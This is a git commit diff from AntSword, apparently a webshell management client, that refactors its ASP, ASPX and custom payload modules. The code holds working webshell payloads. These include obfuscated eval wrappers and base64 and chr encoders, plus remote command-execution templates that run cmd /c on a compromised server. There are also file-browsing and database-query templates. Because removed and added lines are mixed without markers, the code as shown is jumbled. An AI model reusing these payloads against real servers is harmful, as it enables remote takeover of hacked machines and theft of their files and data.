Commit b6092dde authored by antoor's avatar antoor

Completely rewrite the core code architecture optimization

完全重写优化核心代码架构
parent 86f0b093
//
// php::base64 编码模块
//
'use strict';
module.exports = (pwd, data) => {
const randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
\ No newline at end of file
//
// encoder::chr
//
// chr编码器
// --------
// 利用php函数`chr`进行编码处理
//
'use strict'
module.exports = (pwd, data) => {
// 编码函数
const encode = (php) => {
let ret = [];
let i = 0;
while(i < php.length) {
ret.push(php[i].charCodeAt());
i ++;
}
return `eVAl(cHr(${ret.join(').ChR(')}));`;
}
// 编码并去除多余数据
data[pwd] = encode(data._);
delete data._;
// 返回数据
return data;
}
\ No newline at end of file
//
// 代码模板::asp
//
/**
* ASP服务端脚本模板
* 开写:2016/04/12
* 更新:-
* 作者:蚁逅 <https://github.com/antoor>
*/
'use strict';
const iconv = global.require('iconv-lite');
class ASP {
import Base from '../base';
class ASP extends Base {
constructor(opts) {
this.__opts__ = opts;
this.parseTpl([
'base',
'command',
'filemanager',
'database/dsn',
'database/mysql',
'database/access',
'database/oracle',
'database/sqlserver',
'database/sqloledb_1',
'database/sqloledb_1_sspi',
'database/microsoft_jet_oledb_4_0'
]);
this.parseEnr([]);
}
// 格式化函数
format() {
const encode = this.__opts__['encode'] || 'utf8';
return {
base64: (str) => {
// 编码
const _str_ = iconv.encode(new Buffer(str), encode);
return new Buffer(_str_).toString('base64');
},
// 转换为16进制::编码
hex: (b) => {
let ret = [];
let buff = iconv.encode(new Buffer(b), encode);
buff.toJSON()['data'].map((i) => {
let _ = i.toString(16);
_.length < 2 ? _ = `0${_}` : null;
ret.push(_);
});
return ret.join('').toUpperCase();
},
// 转换为16进制::不编码
buffer: (b) => {
let ret = [];
b.toJSON()['data'].map((i) => {
let _ = i.toString(16);
_.length < 2 ? _ = `0${_}` : null;
ret.push(_);
});
return ret.join('').toUpperCase();
}
};
}
// 解析模板
parseTpl(tpl) {
let _export = {};
// 模板格式化函数
const format = this.format();
// 加载模板代码
tpl.map((t) => {
// 解析模板
this[t.replace(/\//g, '_')] = {};
let m = require(`./template/${t}`);
for (let _ in m) {
this[t.replace(/\//g, '_')][_] = ( (c) => {
// 如果需要参数
if (typeof(c) === 'object') {
return (argv, success, error, hook) => {
let data = $.extend({}, c);
// 格式化参数
for (let d in data) {
(data[d].match(/#{([\w\:]+)}/g) || []).map( (tag) => {
let _t = tag.substr(2, tag.length - 3);
// 如果需要字符处理
let _f = _t.split('::');
let _ff;
if ((_f.length > 0) && (_ff = format[_f[0]])) {
// _t = _ff(argv[_f[1]] || _t);
_t = _ff(argv[_f[1]] || '');
}else{
// _t = argv[_t] || _t;
_t = argv[_t] || '';
}
data[d] = data[d].replace(tag, _t)
} );
}
this.ajax(data, success, error, hook);
}
}else{
let data = {
_: c
};
return (success, error, hook) => {
this.ajax(data, success, error, hook);
}
}
} )(m[_]);
}
super(opts);
// 解析模板
[
'base', 'command', 'filemanager',
'database/dsn', 'database/mysql',
'database/access', 'database/oracle',
'database/sqlserver', 'database/sqloledb_1',
'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0'
].map((_) => {
this.parseTemplate(`./asp/template/${_}`);
});
}
// 解析编码模块
parseEnr(edr) {
let encoder = {
// 默认编码器
default: (pwd, data) => {
data[pwd] = data['_'];
delete data['_'];
return data;
}
};
edr.map((_) => {
encoder[_] = require(`./encoder/${_}`);
// 解析编码器
[].map((_) => {
this.parseEncoder(`./asp/encoder/${_}`);
});
this.__encoder__ = encoder;
}
ajax(code, success, error, hook) {
let post = $.extend({}, code);
// 随机ID(用于监听数据来源)
const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');
const tag_s = '-=:{';
const tag_e = '}:=-';
const encode = this.__opts__['encode'] || 'utf8';
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data) {
// 分隔符号
let tag_s = '->|';
let tag_e = '|<-';
const code_hex = this.format()['hex'](post['_']);
let formatter = new this.format(this.__opts__['encode']);
post['_'] = `eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""${tag_s}""""):Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""${code_hex}"""")):Response.Write(""""${tag_e}""""):Response.End"")")`;
// hex编码一次数据
let hexCode = formatter['hex'](data['_']);
// 编码处理模板
const encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default'];
const data = encoder(this.__opts__['pwd'], post);
// 组合完整的代码
data['_'] = `eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""${tag_s}""""):Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""${hexCode}"""")):Response.Write(""""${tag_e}""""):Response.End"")")`;
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据{text,buff}
.on(`request-${hash}`, (event, arg) => {
success(arg['text'], arg['buff']);
})
// HTTP请求返回字节流
.on(`request-chunk-${hash}`, (event, ret) => {
hook ? hook(ret) : null;
})
// 数据请求错误
.on(`request-error-${hash}`, (event, ret) => {
error ? error(ret) : null;
})
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: data,
tag_s: tag_s,
tag_e: tag_e,
encode: encode
});
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = ASP;
\ No newline at end of file
module.exports = ASP;
/**
* 在模板中使用
* 1. 加载需要的参数列表: import { arg1, arg2, arg3 } from './argv';
* 2. 嵌入代码参数中:codes={[arg1]: `echo "${arg1}";`}...
**/
const random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`;
export const arg1 = random();
export const arg2 = random();
export const arg3 = random();
export const arg4 = random();
export const arg5 = random();
export const arg6 = random();
\ No newline at end of file
//
// 基础信息模板
// 获取:当前路径、磁盘列表
//
/**
* 基础信息模板
* ? 获取当前路径、盘符列表
*/
module.exports = {
module.exports = () => ({
info:
`Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`
}
\ No newline at end of file
})
//
// 命令执行模板
//
/**
* 命令执行模板
*/
import { arg1, arg2 } from './argv';
module.exports = {
module.exports = (arg1, arg2) => ({
exec: {
_:
`Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
[arg1]: "#{hex::bin}",
[arg2]: "#{hex::cmd}"
}
}
\ No newline at end of file
})
//
// ASP::access数据库驱动代码模板
//
/**
* ASP::access数据库驱动代码模板
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -36,4 +30,4 @@ module.exports = {
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}',
}
}
\ No newline at end of file
})
//
// 默认数据库操作代码模板
//
/**
* 默认数据库操作代码模板
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -34,4 +29,4 @@ module.exports = {
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}',
}
}
\ No newline at end of file
})
//
// ASP::oracle数据库驱动代码模板
//
/**
* ASP::oracle数据库驱动代码模板
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -35,4 +29,4 @@ module.exports = {
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}',
}
}
\ No newline at end of file
})
//
//
// ASP::mysql数据库驱动代码模板
//
//
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -36,4 +30,4 @@ module.exports = {
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}',
}
}
\ No newline at end of file
})
//
// 文件管理模板
//
/**
* 文件管理模板
*/
import { arg1, arg2, arg3 } from './argv';
module.exports = {
module.exports = (arg1, arg2, arg3) => ({
dir: {
_:
`Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,
......@@ -77,4 +75,4 @@ module.exports = {
[arg1]: "#{hex::url}",
[arg2]: "#{hex::path}"
}
}
\ No newline at end of file
})
//
// php::base64 编码模块
//
'use strict';
module.exports = (pwd, data) => {
const randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
\ No newline at end of file
//
// encoder::chr
//
// chr编码器
// --------
// 利用php函数`chr`进行编码处理
//
'use strict'
module.exports = (pwd, data) => {
// 编码函数
const encode = (php) => {
let ret = [];
let i = 0;
while(i < php.length) {
ret.push(php[i].charCodeAt());
i ++;
}
return `eVAl(cHr(${ret.join(').ChR(')}));`;
}
// 编码并去除多余数据
data[pwd] = encode(data._);
delete data._;
// 返回数据
return data;
}
\ No newline at end of file
//
// 代码模板::asp
//
/**
* ASPX服务端脚本模板
* 开写:2016/04/12
* 更新:-
* 作者:蚁逅 <https://github.com/antoor>
*/
'use strict';
const iconv = global.require('iconv-lite');
class ASP {
import Base from '../base';
class ASPX extends Base {
constructor(opts) {
this.__opts__ = opts;
this.parseTpl([
'base',
'command',
'filemanager',
'database/dsn',
'database/mysql',
'database/access',
'database/oracle',
'database/sqlserver',
'database/sqloledb_1',
'database/sqloledb_1_sspi',
'database/microsoft_jet_oledb_4_0'
]);
this.parseEnr([]);
}
// 格式化函数
format() {
const encode = this.__opts__['encode'] || 'utf8';
return {
base64: (str) => {
// 编码
const _str_ = iconv.encode(new Buffer(str), encode);
return new Buffer(_str_).toString('base64');
},
// 转换为16进制::编码
hex: (b) => {
let ret = [];
let buff = iconv.encode(new Buffer(b), encode);
buff.toJSON()['data'].map((i) => {
let _ = i.toString(16);
_.length < 2 ? _ = `0${_}` : null;
ret.push(_);
});
return ret.join('').toUpperCase();
},
// 转换为16进制::不编码
buffer: (b) => {
let ret = [];
b.toJSON()['data'].map((i) => {
let _ = i.toString(16);
_.length < 2 ? _ = `0${_}` : null;
ret.push(_);
});
return ret.join('').toUpperCase();
}
};
}
// 解析模板
parseTpl(tpl) {
let _export = {};
// 模板格式化函数
const format = this.format();
// 加载模板代码
tpl.map((t) => {
// 解析模板
this[t.replace(/\//g, '_')] = {};
let m = require(`./template/${t}`);
for (let _ in m) {
this[t.replace(/\//g, '_')][_] = ( (c) => {
// 如果需要参数
if (typeof(c) === 'object') {
return (argv, success, error, hook) => {
let data = $.extend({}, c);
// 格式化参数
for (let d in data) {
(data[d].match(/#{([\w\:]+)}/g) || []).map( (tag) => {
let _t = tag.substr(2, tag.length - 3);
// 如果需要字符处理
let _f = _t.split('::');
let _ff;
if ((_f.length > 0) && (_ff = format[_f[0]])) {
// _t = _ff(argv[_f[1]] || _t);
_t = _ff(argv[_f[1]] || '');
}else{
// _t = argv[_t] || _t;
_t = argv[_t] || '';
}
data[d] = data[d].replace(tag, _t)
} );
}
this.ajax(data, success, error, hook);
}
}else{
let data = {
_: c
};
return (success, error, hook) => {
this.ajax(data, success, error, hook);
}
}
} )(m[_]);
}
super(opts);
// 解析模板
[
'base', 'command', 'filemanager',
'database/dsn', 'database/mysql',
'database/access', 'database/oracle',
'database/sqlserver', 'database/sqloledb_1',
'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0'
].map((_) => {
this.parseTemplate(`./aspx/template/${_}`);
});
}
// 解析编码模块
parseEnr(edr) {
let encoder = {
// 默认编码器
default: (pwd, data) => {
data[pwd] = data['_'];
delete data['_'];
return data;
}
};
edr.map((_) => {
encoder[_] = require(`./encoder/${_}`);
// 解析编码器
[].map((_) => {
this.parseEncoder(`./aspx/encoder/${_}`);
});
this.__encoder__ = encoder;
}
ajax(code, success, error, hook) {
let post = $.extend({}, code);
// 随机ID(用于监听数据来源)
const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');
const tag_s = '-=:{';
const tag_e = '}:=-';
const encode = this.__opts__['encode'] || 'utf8';
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data) {
// 分隔符号
let tag_s = '->|';
let tag_e = '|<-';
const code_base64 = this.format()['base64'](post['_']);
let formatter = new this.format(this.__opts__['encode']);
post['_'] = `Response.Write("${tag_s}");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("${code_base64}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`;
// base64编码一次数据
let base64Code = formatter['base64'](data['_']);
// 编码处理模板
const encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default'];
const data = encoder(this.__opts__['pwd'], post);
data['_'] = `Response.Write("${tag_s}");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("${babase64Code}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`;
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据{text,buff}
.on(`request-${hash}`, (event, arg) => {
success(arg['text'], arg['buff']);
})
// HTTP请求返回字节流
.on(`request-chunk-${hash}`, (event, ret) => {
hook ? hook(ret) : null;
})
// 数据请求错误
.on(`request-error-${hash}`, (event, ret) => {
error ? error(ret) : null;
})
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: data,
tag_s: tag_s,
tag_e: tag_e,
encode: encode
});
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = ASP;
\ No newline at end of file
module.exports = ASPX;
/**
* 在模板中使用
* 1. 加载需要的参数列表: import { arg1, arg2, arg3 } from './argv';
* 2. 嵌入代码参数中:codes={[arg1]: `echo "${arg1}";`}...
**/
const random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`;
export const arg1 = random();
export const arg2 = random();
export const arg3 = random();
export const arg4 = random();
export const arg5 = random();
export const arg6 = random();
\ No newline at end of file
//
// 基础信息模板
// 获取:当前路径、磁盘列表
//
/**
* 基础信息模板
* ? 获取当前路径、盘符列表
*/
module.exports = {
module.exports = () => ({
info:
`var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+" ");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");`
}
\ No newline at end of file
})
//
// 命令执行模板
//
/**
* 命令执行模板
*/
import { arg1, arg2 } from './argv';
module.exports = {
module.exports = (arg1, arg2) => ({
exec: {
_:
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
[arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}"
}
}
\ No newline at end of file
})
//
// ASPX::access数据库驱动代码模板
//
/**
* access数据库驱动代码模板
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -37,4 +31,4 @@ module.exports = {
[arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}',
}
}
\ No newline at end of file
})
//
// 默认数据库操作代码模板
//
/**
* 默认数据库操作代码模板
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -35,4 +30,4 @@ module.exports = {
[arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}',
}
}
\ No newline at end of file
})
//
// ASPX::oracle数据库驱动代码模板
//
/**
* ASPX::oracle数据库驱动代码模板
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -38,4 +32,4 @@ module.exports = {
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20
[arg2]: '#{base64::sql}',
}
}
\ No newline at end of file
})
//
// ASPX::mysql数据库驱动代码模板
//
/**
* ASPX::mysql数据库驱动代码模板
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -41,4 +35,4 @@ module.exports = {
[arg2]: '#{base64::sql}',
[arg3]: '#{dbname}'
}
}
\ No newline at end of file
})
//
// 文件管理模板
//
/**
* 文件管理模板
*/
import { arg1, arg2, arg3 } from './argv';
module.exports = {
module.exports = (arg1, arg2, arg3) => ({
dir: {
_:
`var D=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t-\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t-\n");}`,
......@@ -78,4 +76,4 @@ module.exports = {
[arg1]: "#{base64::url}",
[arg2]: "#{base64::path}"
}
}
\ No newline at end of file
})
/**
* 中国蚁剑::核心模块::基础函数库
* 开写:2016/04/12
* 更新:-
* 作者:蚁逅 <https://github.com/antoor>
*/
'use strict';
const iconv = global.require('iconv-lite');
class Base {
/**
* 初始化
* @param {Object} opts 配置对象
* @return {Object} this
*/
constructor(opts) {
// 默认配置
opts['encode'] = opts['encode'] || 'utf8';
opts['encoder'] = opts['encoder'] || 'default';
this.__opts__ = opts;
// 默认编码器
this['__encoder__'] = {
default(pwd, data) {
data[pwd] = data['_'];
delete data['_'];
return data;
}
}
}
/**
* 返回参数列表
* @return {array} [arg1, arg2, arg3..]
*/
argv() {
// 生成一个随机的变量名
let random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`;
// 返回六个随机变量名数组
return [
random(), random(), random(),
random(), random(), random()
];
}
/**
* 字符串格式化处理
* 使用方法:const format = new format()
* @param {String} encode [字符串编码,默认utf8]
* @return {Object} [返回字符串处理函数对象]
*/
format(encode) {
return {
/**
* base64编码
* @param {String} str 字符串
* @return {String} 编码后的字符串
*/
base64(str) {
return new Buffer(
iconv.encode(new Buffer(str), encode)
).toString('base64');
},
/**
* 字符串转16进制(不进行编码转换
* @param {String} str 转换的字符串
* @return {Buffer} 转换完成的buffer
*/
buffer(str) {
return new Buffer(str).toString('hex').toUpperCase();
},
/**
* 字符串转16进制(进行编码转换
* @param {String} str 转换的字符串
* @return {Buffer} 转换完成的buffer
*/
hex(str) {
return new Buffer(
iconv.encode(new Buffer(str), encode)
).toString('hex').toUpperCase();
}
}
}
/**
* 解析脚本模板
* @param {String} tpl 模板文件
* @return {Object} 解析完毕的模板对象(参数`_`为主代码入口
*/
parseTemplate(tpl) {
// 把模板路径的`/`转换为`_`
let templateName = (tpl.split('template/')[1]).replace(/\//g, '_');
this[templateName] = {};
// 加载模板
let _argv = this.argv();
let templateObj = require(`${tpl}`)(
_argv[0], _argv[1], _argv[2],
_argv[3], _argv[4], _argv[5]
);
let formatter = new this.format(this.__opts__['encode']);
// 解析模板
for (let funcName in templateObj) {
this[templateName][funcName] = (
(args) => {
if (typeof(args) === 'object') {
// 如果脚本函数需要参数,则进行解析
return (argv) => {
let data = {};
// 克隆源数据到返回数据中
for (let _ in args) {
data[_] = args[_];
}
// 循环替换脚本中的标签
for (let arg in args) {
(args[arg].match(/#{([\w\:]+)}/g) || []).map(
// example: #{hex::str} = hex(str), #{arg1} = arg1
(tag) => {
let tagStr = tag.substr(2, tag.length - 3);
let tagArr = tagStr.split('::');
let func, retStr;
if (
(tagArr.length > 0) &&
(func = formatter[tagArr[0]])
) {
// 如果包含有分割标签且该格式化函数存在,则调用该函数进行处理
retStr = func( argv[tagArr[1] || ''] );
} else {
// 否则替换直接返回字符串
retStr = argv[tagStr] || '';
}
// 组合最终生成模板代码
data[arg] = args[arg].replace(tag, retStr);
}
)
}
// 发送HTTP请求
return data;
}
} else {
// 否则直接返回
return () => ({ _: args });
}
}
)(templateObj[funcName]);
}
}
/**
* 解析编码器
* ? 编码器其实模板返回的脚本对象进行编码处理,主要就是把脚本模板中的`_`主变量改为用户传递的密码
* @param {String} enc 编码器文件
* @return {Object} 编码器处理函数对象
*/
parseEncoder(enc) {
// 加载编码器
// QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~
this['__encoder__'][enc.split('encoder/')[1]] = require(`${enc}`);
}
/**
* 编码处理并返回操作
* @param {String} tag_s 前截断符
* @param {String} tag_e 后截断符
* @param {Object} data 源POST数据
* @return {Object} 最终生成数据// 将返回三个参数对象:tag_s,tag_e,data
*/
encodeComplete(tag_s, tag_e, data) {
// 编码器处理
let finalData = this.__encoder__[this.__opts__['encoder']](
this.__opts__['pwd'],
data
);
return {
'tag_s': tag_s,
'tag_e': tag_e,
'data': finalData
};
}
/**
* HTTP请求函数
* ? 用法:core.request(core.base.info()).then((ret) => {}).catch((e) => {})..
* @param {Object} code 请求源数据
* @param {Function} chunkCallBack 二进制流回调函数,可选
* @return {Promise} Promise操作对象
*/
request(code, chunkCallBack) {
const opt = this.complete(code);
return new Promise((ret, rej) => {
// 随机ID(用于监听数据来源)
const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据{text,buff}
.once(`request-${hash}`, (event, arg) => {
return ret({
'text': arg['text'],
'buff': arg['buff']
});
})
// HTTP请求返回字节流
.on(`request-chunk-${hash}`, (event, ret) => {
return chunkCallBack ? chunkCallBack(ret) : null;
})
// 数据请求错误
.once(`request-error-${hash}`, (event, ret) => {
throw new Error(ret);
})
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: opt['data'],
tag_s: opt['tag_s'],
tag_e: opt['tag_e'],
encode: this.__opts__['encode']
});
})
}
/**
* 文件下载专用函数(因有些文件过大,导致Electron出错
* @param {String} savePath 保存文件路径
* @param {Object} postCode 提交数据
* @param {Function} progressCallback 进度回调
* @return {Promise} Promise操作对象
*/
download(savePath, postCode, progressCallback) {
const opt = this.complete(postCode);
return new Promise((ret, rej) => {
// 随机ID(用于监听数据来源)
const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据(size)
.once(`download-${hash}`, (event, size) => {
return ret(size);
})
// HTTP请求返回字节流大小
.on(`download-progress-${hash}`, (event, size) => {
return progressCallback ? progressCallback(size) : null;
})
// 数据请求错误
.once(`download-error-${hash}`, (event, ret) => {
throw new Error(ret);
})
// 发送请求数据
.send('download', {
url: this.__opts__['url'],
hash: hash,
path: savePath,
data: opt['data'],
tag_s: opt['tag_s'],
tag_e: opt['tag_e'],
encode: this.__opts__['encode']
});
})
}
}
export default Base;
//
// 代码模板::asp
//
/**
* CUSTOM服务端脚本模板
* 开写:2016/04/12
* 更新:-
* 作者:蚁逅 <https://github.com/antoor>
*/
'use strict';
const iconv = global.require('iconv-lite');
class ASP {
import Base from '../base';
class CUSTOM extends Base {
constructor(opts) {
this.__opts__ = opts;
this.parseTpl([
'base',
'command',
'filemanager',
'database/sqlserver',
'database/mysql',
'database/oracle'
]);
this.parseEnr(['base64', 'hex']);
}
// 格式化函数
format() {
const encode = this.__opts__['encode'] || 'utf8';
return {
base64: (str) => {
// 编码
const _str_ = iconv.encode(new Buffer(str), encode);
return new Buffer(_str_).toString('base64');
},
// 转换为16进制::编码
hex: (b) => {
let ret = [];
let buff = iconv.encode(new Buffer(b), encode);
buff.toJSON()['data'].map((i) => {
let _ = i.toString(16);
_.length < 2 ? _ = `0${_}` : null;
ret.push(_);
});
return ret.join('').toUpperCase();
},
// 转换为16进制::不编码
buffer: (b) => {
let ret = [];
b.toJSON()['data'].map((i) => {
let _ = i.toString(16);
_.length < 2 ? _ = `0${_}` : null;
ret.push(_);
});
return ret.join('').toUpperCase();
}
};
}
// 解析模板
parseTpl(tpl) {
let _export = {};
// 模板格式化函数
const format = this.format();
// 加载模板代码
tpl.map((t) => {
// 解析模板
this[t.replace(/\//g, '_')] = {};
let m = require(`./template/${t}`);
for (let _ in m) {
this[t.replace(/\//g, '_')][_] = ( (c) => {
// 如果需要参数
if (typeof(c) === 'object') {
return (argv, success, error, hook) => {
let data = $.extend({}, c);
// 格式化参数
for (let d in data) {
(data[d].match(/#{([\w\:]+)}/g) || []).map( (tag) => {
let _t = tag.substr(2, tag.length - 3);
// 如果需要字符处理
let _f = _t.split('::');
let _ff;
if ((_f.length > 0) && (_ff = format[_f[0]])) {
// _t = _ff(argv[_f[1]] || _t);
_t = _ff(argv[_f[1]] || '');
}else{
// _t = argv[_t] || _t;
_t = argv[_t] || '';
}
data[d] = data[d].replace(tag, _t)
} );
}
this.ajax(data, success, error, hook);
}
}else{
let data = {
_: c
};
return (success, error, hook) => {
this.ajax(data, success, error, hook);
}
}
} )(m[_]);
}
super(opts);
// 解析模板
[
'base', 'command', 'filemanager',
'database/sqlserver', 'database/mysql', 'database/oracle'
].map((_) => {
this.parseTemplate(`./custom/template/${_}`);
});
}
// 解析编码模块
parseEnr(edr) {
let encoder = {
// 默认编码器
default: (pwd, data) => {
data[pwd] = data['_'];
delete data['_'];
return data;
}
};
edr.map((_) => {
encoder[_] = require(`./encoder/${_}`);
// 解析编码器
[].map((_) => {
this.parseEncoder(`./custom/encoder/${_}`);
});
this.__encoder__ = encoder;
}
ajax(code, success, error, hook) {
let post = $.extend({}, code);
// 随机ID(用于监听数据来源)
const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');
const tag_s = '->|';
const tag_e = '|<-';
const encode = this.__opts__['encode'] || 'utf8';
// post[]
// const code_base64 = this.format()['base64'](post['_']);
// post['_'] = `Response.Write("${tag_s");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("${code_base64}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`;
// 编码处理模板
const encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default'];
const data = encoder(this.__opts__['pwd'], post);
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据{text,buff}
.on(`request-${hash}`, (event, arg) => {
success(arg['text'], arg['buff']);
})
// HTTP请求返回字节流
.on(`request-chunk-${hash}`, (event, ret) => {
hook ? hook(ret) : null;
})
// 数据请求错误
.on(`request-error-${hash}`, (event, ret) => {
error ? error(ret) : null;
})
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: data,
tag_s: tag_s,
tag_e: tag_e,
encode: encode
});
/**
* HTTP请求数据组合函数
